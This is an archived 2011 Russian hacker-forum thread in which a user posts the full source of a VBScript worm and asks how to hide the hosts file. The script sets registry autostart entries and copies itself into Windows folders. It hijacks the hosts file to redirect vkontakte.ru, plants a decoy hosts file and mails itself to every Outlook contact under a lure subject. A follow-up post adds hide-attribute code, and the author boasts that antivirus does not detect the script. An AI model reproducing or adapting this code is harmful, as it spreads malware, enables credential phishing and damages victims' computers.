Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

vbs атрибуты.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> vbs атрибуты.
Имя
Сообщение << Старые топики   Новые топики >>
vbs атрибуты. - 2011-03-31 20:30:19.413333   
hacker_007

Сообщений: 49
Оценки: 0
Присоединился: 2011-03-31 19:00:53.643333
 Написал вирус:
'========================Добавляем в автозапуск================================' Set FileSystemObject = CreateObject("sсriрting.filesystemobject") Set WshShell1 = Wsсriрt.CreateObject("Wsсriрt.Shell") Set FSO = CreateObject("sсriрting.FileSystemObject") FileSystemObject.copyFile wsсriрt.sсriрtfullname, WshShell1.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "\WINDOWS\SYSTEM32\Win.vbs" FileSystemObject.copyFile wsсriрt.sсriрtfullname, WshShell1.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "\WINDOWS\Win.vbs" FileSystemObject.copyFile wsсriрt.sсriрtfullname, WshShell1.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "\WINDOWS\web\Win.vbs" Set Shell = CreateObject("Wsсriрt.Shell") Shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemFoilder", "windows\SYSTEM32\Win.vbs" Shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\RunServices\SystemFile", "windows\Win.vbs" Shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\SystemImages", "windows\web\Win.vbs" '========================Конец=================================================' '========================Добавляем в hosts=====================================' Set WshShell1 = Wsсriрt.CreateObject("Wsсriрt.Shell") Set FSO=CreateObject("sсriрting.FileSystemObject") Set file = FSO.CreateTextFile (WshShell1.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "\WINDOWS\system32\drivers\etc\hosts") file.WriteLine("# (C) Корпорация Майкрософт (Microsoft Corp.), 1993-1999") file.WriteLine("#") file.WriteLine("# Это образец файла HOSTS, используемый Microsoft TCP/IP для Windows.") file.WriteLine("#") file.WriteLine("# Этот файл содержит сопоставления IP-адресов именам узлов.") file.WriteLine("# Каждый элемент должен располагаться в отдельной строке. IP-адрес должен") file.WriteLine("# находиться в первом столбце, за ним должно следовать соответствующее имя.") file.WriteLine("# IP-адрес и имя узла должны разделяться хотя бы одним пробелом.") file.WriteLine("#") file.WriteLine("# Кроме того, в некоторых строках могут быть вставлены комментарии ") file.WriteLine("# (такие, как эта строка), они должны следовать за именем узла и отделяться") file.WriteLine("# от него символом '#'.") file.WriteLine("#") file.WriteLine("# Например:") file.WriteLine("#") file.WriteLine("# 102.54.94.97 rhino.acme.com # исходный сервер") file.WriteLine("# 38.25.63.10 x.acme.com # узел клиента x") file.WriteLine("") file.WriteLine("74.125.77.104 www.vkontakte.ru") file.WriteLine("74.125.77.104 vkontakte.ru") file.Close '========================Конец=================================================' '========================Даём атрибуты=========================================' '========================Конец=================================================' '========================Создаём фальшивый hosts===============================' Set FSO = CreateObject("sсriрting.FileSystemObject") Set file = FSO.CreateTextFile(WshShell1.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "\WINDOWS\system32\drivers\etc\hоsts") file.WriteLine("# (C) Корпорация Майкрософт (Microsoft Corp.), 1993-1999") file.WriteLine("#") file.WriteLine("# Это образец файла HOSTS, используемый Microsoft TCP/IP для Windows.") file.WriteLine("#") file.WriteLine("# Этот файл содержит сопоставления IP-адресов именам узлов.") file.WriteLine("# Каждый элемент должен располагаться в отдельной строке. IP-адрес должен") file.WriteLine("# находиться в первом столбце, за ним должно следовать соответствующее имя.") file.WriteLine("# IP-адрес и имя узла должны разделяться хотя бы одним пробелом.") file.WriteLine("#") file.WriteLine("# Кроме того, в некоторых строках могут быть вставлены комментарии ") file.WriteLine("# (такие, как эта строка), они должны следовать за именем узла и отделяться") file.WriteLine("# от него символом '#'.") file.WriteLine("#") file.WriteLine("# Например:") file.WriteLine("#") file.WriteLine("# 102.54.94.97 rhino.acme.com # исходный сервер") file.WriteLine("# 38.25.63.10 x.acme.com # узел клиента x") file.Close '========================Конец=================================================' Wsсriрt.Sleep 300000 '========================Отправка вируса контактам на почте====================' Set Outlook = Wsсriрt.CreateObject("Outlook.Application") For Index = 1 To Outlook.GetNameSpace("MAPI").AddressLists(1).count Set OutMail = Outlook.CreateItem(0) OutMail.to = Outlook.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Зацени реально крутую прогу" OutMail.bоdу = "Привет!!! Как дела?" OutMail.Attachments.Add Wsсriрt.sсriрtFullName OutMail.Send Next '========================Конец=================================================' Как дать атрибуты файлу hosts?? Скрытый системный и т.д?
Post #: 1
RE: vbs атрибуты. - 2011-03-31 22:41:57.443333   
ZiMMy

Сообщений: 439
Оценки: 0
Присоединился: 2010-06-19 17:04:39.420000
 Как ты думаешь, кому-то нужно это vbs-дерьмо?
Post #: 2
RE: vbs атрибуты. - 2011-04-01 09:14:34.210000   
hacker_007

Сообщений: 49
Оценки: 0
Присоединился: 2011-03-31 19:00:53.643333
 Иди лесом раз ни чего ценного написать не можешь.
Закриптованный vbs скрипт, антивир не палит. А если его с bat свести то им вообще цены не будет.
Post #: 3
RE: vbs атрибуты. - 2011-04-08 20:37:33.060000   
hacker_007

Сообщений: 49
Оценки: 0
Присоединился: 2011-03-31 19:00:53.643333
 Эх ппц люди…. Пока ответ ждал сам уже написал… Ну вы даёте конечно.
'========================Даём атрибуты=========================================' Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.GetFile(WshShell1.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "\WINDOWS\system32\drivers\etc\hosts") objFile.Attributes = objFile.Attributes OR 2 '========================Конец================================================='
Post #: 4
RE: vbs атрибуты. - 2011-04-09 11:41:19.150000   
ZiMMy

Сообщений: 439
Оценки: 0
Присоединился: 2010-06-19 17:04:39.420000
 А зачем отвечать? Все равно ведь пока не выростешь не поймешь.
Post #: 5
RE: vbs атрибуты. - 2011-04-09 16:27:04.880000   
hacker_007

Сообщений: 49
Оценки: 0
Присоединился: 2011-03-31 19:00:53.643333
 Во-первых, причём тут "выростешь". И если я не ошибаюсь, форум создан для того, чтобы люди помогали друг другу и делились инфой. Я смотрю ты очень "большой", если пишешь такую чушь.
Post #: 6
Страниц:  [1]
Все форумы >> [Прочее] >> vbs атрибуты.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.